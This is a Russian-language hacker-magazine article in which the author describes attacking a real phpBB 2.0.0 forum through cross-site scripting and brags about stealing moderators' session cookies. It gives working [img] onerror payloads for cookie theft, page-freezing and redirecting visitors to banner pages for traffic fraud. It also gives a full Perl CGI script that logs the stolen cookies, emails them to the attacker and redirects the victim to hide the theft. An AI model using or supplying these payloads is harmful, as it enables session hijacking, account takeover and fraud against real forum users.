Все началось с того, что как-то зайдя на securitylab.ru
я увидел материал «Новости от Шушпанчика» примерно такого содержания:

Хак-группы (или security gr0upz ?) «Digital Hell» и «Spoofed Packet», более известные под именами «Xpaxo aka Xaksors Online» и «Fallout Team» — обе группы недавно переименовались — создали глобальный проект:
объединенный форум хакерских групп: http://secforum.net/
Здесь секьюрити эксперты из молодых хак-групп,
такие как Eraser, Spikir и DocSoft, могут обмениваться своими мнениями по самым различным вопросам,
связанным с их родом деятельности, например, написание бэкдора на Kylix и кто на чем кодит.
Наиболее активно обсуждается насущный вопрос, чья же пися все-таки самая длинная?

Помня о том, что Шушпанчик — это голова ((C)
Pupkin-Zade) решаю прогуляться по данному URL`у и посмотреть, чем народ нынче балуется…

Скажу, что форум мне не понравился сразу: работает глючно-преглючно, темы дурацкие (самые «крутые» темы в разделе coding: ‘что лучше’и ‘кто на чем кодит’ 😉 и при всей этой ботве гордая надпись вверху страницы:

Security Forum
All about Russian security systems…

Вот такие дела… Плюнул я на этот этот URL и забыл о нем на время… И не вспомнил бы, если бы не пришла в голову мысль написать о
уязвимостях типа ХSS (cross-site scripting), которые сейчас являются абсолютными чемпионами по частоте появления в багтреке (проверь соответствующий раздел на Xakep.ru). Было ясно, что объяснять данную проблему ‘на пальцах’ было бы не круто — нужна была жертва, о выборе которой я даже не задумывался — http://secforum.net/ 😉

Что такое cross-site scripting? Это тип уязвимостей, позволяющий атакующему выполнять произвольный код (например Javascript), встроив его в свое сообщение на форуме, добавив в качестве аргумента для скрипта на сервере и т.д. XSS-уязвимости находят и в практически никому не известных форумах, и shopping cart`ах крупнейших магазинов, и в таких почтовиках как Hotmail… Иными словами потенциально уязвимы все скрипты/приложения, которые получают от пользователя какую-либо информацию. 

Типичная уязвимость выглядит так:

http://www.microsoft.com/education/?ID=MCTN&target=
http://www.microsoft.com/education/?ID=MCTN&target=">
<script>alert(document.cookie)</script>

В результате в должны получить окошко, с содержимым вашего cookie (жаль на microsoft.com это уже пофиксено — такой хороший пример был 😉 

Как свидетельствует статистика, XSS-дыры можно найти практически везде. Согреваемый этой мыслью, я отправился тестить http://secforum.net/ на дырявость… По правде говоря при первом посещении я даже не обратил внимание на чем там все крутится. Захожу — phpBB 2.0.0, довольно навороченный форум на php… Причем особенно меня порадовала ‘навороченность’ — где больше кода, там больше дырок %-)

Топаем в форму отправки сообщения и что же мы видим? Да тут используется супер разработка группы phpBB — Bbcode!!! Bbcode — это несколько обычных html-тегов у которых ‘<‘ и ‘>’ заменены соответственно на ‘[‘ ‘]’ Это дает возможность пользователям, к примеру посредством тега [img] добавлять в свое сообщение картинки (вернее ссылки на картинки по типу http://server.com/coolpicture). Этот тег мне не понравился сразу, начинаю с ним экспериментировать, а мой мыльник принимает свежую порцию багтрека… и тут я вижу такое… сообщение багтрека об уязвимости phpBB 2.0.0 (как раз той самой в которой я копаюсь). В голове проносится мысль из кинофильма: «Ничего красть не нужно, все уже украдено до нас». Уязвимость выглядит так:

[img]http://a.a/a»onerror=»javascript:alert(‘fool’)[/img]

Т.е. если отправить подобный ‘сюрприз’ в своем сообщении, то вместо картинки пользователь увидит окошко с очень обидным словом…

Что мы будем с этим делать? Ну, так как форум поддерживает всяческие там авторизации и автоматические входы, давай посмотрим как воровать кукисы пользователей. Делается это следующим образом:

[img]http://a.a/a"onerror="javascript:name=’
http://твой_сервер/cgi-bin/script.cgi?’;cook=document.cookie;
name=name+cook;document.location=name;[/img]

Объясняю тот Javascript, который здесь наворочен.
Создается две переменные: в одной находится путь к твоему серверу со скриптом для сбора кукисов (дальше объясню как написать этот скрипт), во второй — содержимое кукиса пользователя, затем эти две переменные объединяются, т.е. получается примерно следующее:

http://твой_сервер/cgi-bin/script.cgi?содежимое_кукиса

далее происходит перенаправление пользователя на это URL.

Теперь о том, как написать скрипт для сбора кукисов:

#!/usr/bin/perl

use CGI qw(:standard);

$cookie=$ENV{QUERY_STRING};
$file=»cook.txt»;
open (FILE, «>>$file»);
print FILE «$cookie\n\n»;
close(file);
$query = CGI::new();

print $query->redirect(‘http://secforum.net/forum/index.php’);
$mailprog = ‘/usr/sbin/sendmail’;

$mail=’xakep@mail.ru’;
$target=’admin@secforum.net’;
open (MAIL, «|$mailprog -t»);
print MAIL «Content-Type: text/plain\n»;
print MAIL «Subject: Fresh cookie\n»;
print MAIL «To: $mail\n»;
print MAIL «From: ‘.$target.’\n\n»;
print MAIL «$cookie»;
close (MAIL);

О том, как это работает. Когда пользователя редиректит на наш скрипт, то в качестве аргумента скрипту передается содержимое кукиса (часть URL`а после ‘script.cgi?’).
Это значение мы считываем с помощью $ENV{QUERY_STRING} и заботливо записываем в файл (кстати не забудь создать файл cook.txt), потом мы отправляем письмо с ворованным кукисом тебе любимому (если у тебя на хостинге нет возможности использования sendmail`а просто убери последние 9 строк скрипта). Далее мы маскируем свою деятельность перенаправляя пользователя на главную страницу форума. В результате невнимательный пользователь вообще ничего не поймет: шел читать сообщение, а попал на главную страницу…

Подобные шуточки были провернуты мною несколько раз и попадались на них… модераторы форума!!! Думаете после этого дыру закрыли? О нет! Кул-хаксоры просто удаляли мои сообщения!!! А я оставлял их снова и продолжал собирать урожай ‘плюшек’. Конечно тут можно было пойти дальше и вникнув в алгоритм формирования плюшки захватить форум… но если бы ты знал каких трудов стоит хотя бы просто оставить сообщение на этом постоянно глючащем ‘проекте о безопасности’… у меня иногда уходило по пол-часа даже на эту простейшую операцию, потому как сервер просто умирал и переставал отвечать…совсем…до следующего часа…

Поэтому, ничего особо не изменится, если мы оставим в своем сообщении к примеру такой ‘сюрприз’:

[img]http://a.a/a»onerror=»javascript: open(window.location);[/img]

В результате, если кто-то пожелает просмотреть твое сообщение…то будет лицезреть лишь пустой экран серебристого цвета — страница вообще не загрузится 😉

Вот такие пироги… кстати если у тебя есть пага, которой не хватает баннерных показов — можешь топать на http://secforum.net/ и оставлять сообщение вроде:

Тема: подарю ICQ #666666
Содержание:
[img]http://a.a/a"onerror="javascript:document.location=
‘http://твоя_пага_с_кучей_баннеров[/img]

Поверь, кулхаксоры очень любят шестизначные аськи на халяву…

Вот в принципе и все, что я хотел тебе рассказать об использовании cross-site scripting`а в своих целях. Возможно, знатоки Javascript могут придумать и более изощренные способы, если так — пишите. А пока желаю всем чужих кукисов, побольше баннерных показов и море хорошего настроения. А обитателям http://secforum.net/ волос без перхоти %-)

Оставить мнение

Check Also

Целенаправленная социальная инженерия. Нестандартные техники введения в заблуждение

В предыдущей статье мы разобрали массовые атаки. Но их применимость ограничена: пентестер …